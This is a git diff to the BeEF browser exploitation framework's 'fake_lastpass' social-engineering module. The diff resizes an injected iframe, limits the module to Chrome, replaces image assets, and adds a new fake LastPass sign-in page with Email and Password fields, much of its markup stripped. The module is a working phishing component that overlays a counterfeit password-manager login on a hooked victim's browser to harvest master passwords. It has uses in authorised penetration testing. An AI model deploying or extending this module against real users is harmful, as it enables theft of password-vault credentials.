diff --git a/modules/social_engineering/fake_lastpass/cancel.png b/modules/social_engineering/fake_lastpass/cancel.png new file mode 100644 index 000000000..b0faa1af6 Binary files /dev/null and b/modules/social_engineering/fake_lastpass/cancel.png differ diff --git a/modules/social_engineering/fake_lastpass/command.js b/modules/social_engineering/fake_lastpass/command.js index 9a0b5bd28..6c96df9f6 100755 --- a/modules/social_engineering/fake_lastpass/command.js +++ b/modules/social_engineering/fake_lastpass/command.js @@ -22,7 +22,7 @@ beef.execute(function() { },false); if (beef.browser.isC()) { - beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'375px','height':'415px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'}); + beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'}); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { // Don't know how NON Chrome browsers look - so just going to pop the FF dialog diff --git a/modules/social_engineering/fake_lastpass/config.yaml b/modules/social_engineering/fake_lastpass/config.yaml index 76cc5ac10..840f963c1 100755 --- a/modules/social_engineering/fake_lastpass/config.yaml +++ b/modules/social_engineering/fake_lastpass/config.yaml @@ -12,4 +12,4 @@ beef: description: "Displays a fake LastPass user dialog." authors: ["xntrik", "gcattani"] target: - user_notify: ['ALL'] + user_notify: ['C'] diff --git a/modules/social_engineering/fake_lastpass/create_small.png b/modules/social_engineering/fake_lastpass/create_small.png deleted file mode 100755 index 8e9f1b014..000000000 Binary files a/modules/social_engineering/fake_lastpass/create_small.png and /dev/null differ diff --git a/modules/social_engineering/fake_lastpass/icon.png b/modules/social_engineering/fake_lastpass/icon.png deleted file mode 100755 index 3d1267395..000000000 Binary files a/modules/social_engineering/fake_lastpass/icon.png and /dev/null differ diff --git a/modules/social_engineering/fake_lastpass/index-new.html b/modules/social_engineering/fake_lastpass/index-new.html new file mode 100644 index 000000000..52682d37b --- /dev/null +++ b/modules/social_engineering/fake_lastpass/index-new.html @@ -0,0 +1,536 @@ + + + + + + + + +
Sign In


Email:
Password:

  
  
  

+ diff --git a/modules/social_engineering/fake_lastpass/indexFF.html b/modules/social_engineering/fake_lastpass/indexFF.html deleted file mode 100755 index b32606ca3..000000000 --- a/modules/social_engineering/fake_lastpass/indexFF.html +++ /dev/null @@ -1,67 +0,0 @@ - - - - - - -
-
-
-
Email
-
-
Master Password
-
-
Remember Email
-
Remember Password
-
Show My LastPass Vault After Login
-
- -
-
I forgot my password, Help!
-
Screen Keyboard    Create an Account
-
- -
- -
-
- - - \ No newline at end of file diff --git a/modules/social_engineering/fake_lastpass/key_small.png b/modules/social_engineering/fake_lastpass/key_small.png deleted file mode 100755 index 95b382a2c..000000000 Binary files a/modules/social_engineering/fake_lastpass/key_small.png and /dev/null differ diff --git a/modules/social_engineering/fake_lastpass/keyboard.png b/modules/social_engineering/fake_lastpass/keyboard.png new file mode 100644 index 000000000..bae9b90f0 Binary files /dev/null and b/modules/social_engineering/fake_lastpass/keyboard.png differ diff --git a/modules/social_engineering/fake_lastpass/lp_signin_logo.png b/modules/social_engineering/fake_lastpass/lp_signin_logo.png new file mode 100644 index 000000000..863865cd5 Binary files /dev/null and b/modules/social_engineering/fake_lastpass/lp_signin_logo.png differ diff --git a/modules/social_engineering/fake_lastpass/lpwhite_small.png b/modules/social_engineering/fake_lastpass/lpwhite_small.png deleted file mode 100755 index 45260ce23..000000000 Binary files a/modules/social_engineering/fake_lastpass/lpwhite_small.png and /dev/null differ diff --git a/modules/social_engineering/fake_lastpass/module.rb b/modules/social_engineering/fake_lastpass/module.rb index 18771065a..fdd5b1377 100755 --- a/modules/social_engineering/fake_lastpass/module.rb +++ b/modules/social_engineering/fake_lastpass/module.rb @@ -6,16 +6,12 @@ class Fake_lastpass < BeEF::Core::Command def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/index.html','/lp/index','html') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/indexFF.html','/lp/indexFF','html') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/key_small.png','/lp/key_small','png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/lpwhite_small.png','/lp/lpwhite_small','png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/q3Jrp.png','/lp/q3Jrp','png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/screenkeyboard.png','/lp/screenkeyboard','png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/xsmall.png','/lp/xsmall','png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/create_small.png','/lp/create_small','png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/icon.png','/lp/icon','png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/jquery-1.5.2.min.js','/lp/jquery','js') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/index-new.html','/lp/index','html') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/lp_signin_logo.png','/lp/lp_signin_logo','png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/cancel.png','/lp/cancel','png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/keyboard.png','/lp/keyboard','png') + end # @@ -25,15 +21,10 @@ class Fake_lastpass < BeEF::Core::Command def post_execute if (@datastore['meta'] == "KILLFRAME") BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/index.html') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/indexFF.html') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/key_small.png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/lpwhite_small.png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/q3Jrp.png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/screenkeyboard.png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/xsmall.png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/create_small.png') - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/icon.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/jquery.js') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/lp_signin_logo.png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/cancel.png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/keyboard.png') end content = {} content['result'] = @datastore['result'] diff --git a/modules/social_engineering/fake_lastpass/q3Jrp.png b/modules/social_engineering/fake_lastpass/q3Jrp.png deleted file mode 100755 index e04552e70..000000000 Binary files a/modules/social_engineering/fake_lastpass/q3Jrp.png and /dev/null differ diff --git a/modules/social_engineering/fake_lastpass/screenkeyboard.png b/modules/social_engineering/fake_lastpass/screenkeyboard.png deleted file mode 100755 index 7ae9705b9..000000000 Binary files a/modules/social_engineering/fake_lastpass/screenkeyboard.png and /dev/null differ diff --git a/modules/social_engineering/fake_lastpass/xsmall.png b/modules/social_engineering/fake_lastpass/xsmall.png deleted file mode 100755 index 8446cace4..000000000 Binary files a/modules/social_engineering/fake_lastpass/xsmall.png and /dev/null differ